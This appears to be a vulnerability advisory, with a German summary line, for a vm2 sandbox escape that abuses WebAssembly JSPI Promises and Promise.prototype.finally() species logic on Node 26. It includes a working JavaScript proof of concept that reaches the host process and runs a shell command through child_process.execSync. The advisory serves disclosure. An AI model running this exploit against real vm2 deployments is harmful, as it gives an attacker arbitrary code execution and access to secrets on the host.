CVE-2026-47210

Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in vm2 ausnutzen, um beliebigen Programmcode auszuführen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren und vertrauliche Informationen offenzulegen.

### Summary A sandbox escape vulnerability in `vm2` allows arbitrary code execution in the host process when untrusted code is executed with async support on runtimes exposing WebAssembly JSPI (`WebAssembly.promising` / `WebAssembly.Suspending`). In the tested configuration, a JSPI-backed Promise can reach `Promise.prototype.finally()` in a way that bypasses the expected Promise-species hardening and exposes a host-originated rejection object to attacker-controlled species logic, breaking the sandbox boundary. This is a critical sandbox escape: any application that treats `vm2` as a security boundary may be fully compromised. ### Details On node26, JSPI-backed Promises created through `WebAssembly.promising(...)` do not behave like ordinary sandbox Promises. That path yields a host-originated `TypeError` during JSPI processing. Inside attacker-controlled species logic reached through `.finally()`, the rejection object exposes a usable host constructor chain. In the tested environment, the rejection object's constructor path can be used to reach host `process`, which leads to arbitrary code execution in the host process. This behavior is specific to the JSPI / `.finally()` interaction. In contrast, the corresponding `then` / `catch` paths still appeared to route through `vm2`'s expected `localPromise` machinery in my testing. ### PoC Environment: node:26-bookworm ```javascript const {VM} = require("vm2"); const vm = new VM(); console.log(vm.run(` (()=>{let b=Uint8Array.of(0,97,115,109,1,0,0,0,1,4,1,96,0,0,2,7,1,1,109,1,102,0,0,3,2,1,0,7,7,1,3,114,117,110,0,1,10,6,1,4,0,16,0,11);WebAssembly.instantiate(b,{m:{f:new WebAssembly.Suspending(()=>WebAssembly.compileStreaming(Promise.resolve(0)))}}).then(r=>{let p=WebAssembly.promising(r.instance.exports.run)();class F{constructor(x){this.s=0;this.q=[];x(v=>{this.s=1;this.v=v;for(let i of this.q)if(i[0])i[0](v)},e=>{ let P=e.constructor.constructor('return process')() P.mainModule.require('child_process').execSync('touch pwned'); this.s=2;this.v=e;for(let i of this.q)if(i[1])i[1](e)})}then(f,r){if(this.s==1)return f?f(this.v):this.v;if(this.s==2){if(r)return r(this.v);throw this.v}this.q.push([f,r]);return 0}}Object.defineProperty(F,Symbol.species,{get(){return F}});Object.defineProperty(p,'constructor',{get(){return F}});p.finally(()=>{})});return 1})() `)); ``` ### Impact This is a **sandbox escape leading to arbitrary code execution in the host process**. Who is impacted: - any application using `vm2` to execute attacker-controlled JavaScript as a security boundary - especially Node.js runtimes exposing WebAssembly JSPI features (Node 26) Practical impact: - arbitrary command execution in the host process - arbitrary file read / write accessible to the host process - theft of secrets, tokens, credentials, and application data - complete compromise of services relying on `vm2` isolation